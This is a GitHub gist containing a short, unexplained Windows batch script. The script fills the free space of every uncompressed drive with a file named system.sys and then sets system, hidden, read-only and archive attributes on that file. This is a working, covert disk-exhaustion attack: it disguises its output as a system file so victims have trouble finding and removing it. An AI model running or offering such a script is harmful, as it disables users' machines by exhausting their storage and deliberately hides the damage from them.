Skip to content

Instantly share code, notes, and snippets.

@hklcf
Created August 4, 2016 12:39
Show Gist options
  • Save hklcf/06c2bdc78f2e10a827310d41d335686b to your computer and use it in GitHub Desktop.
Save hklcf/06c2bdc78f2e10a827310d41d335686b to your computer and use it in GitHub Desktop.
@echo off
for /f "skip=1 tokens=1,2" %%i in ('wmic logicaldisk where "Compressed='FALSE'" get caption^,freespace') do fsutil file createnew %%i\system.sys %%j &attrib +r +a +s +h "%%i\system.sys"
cls
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment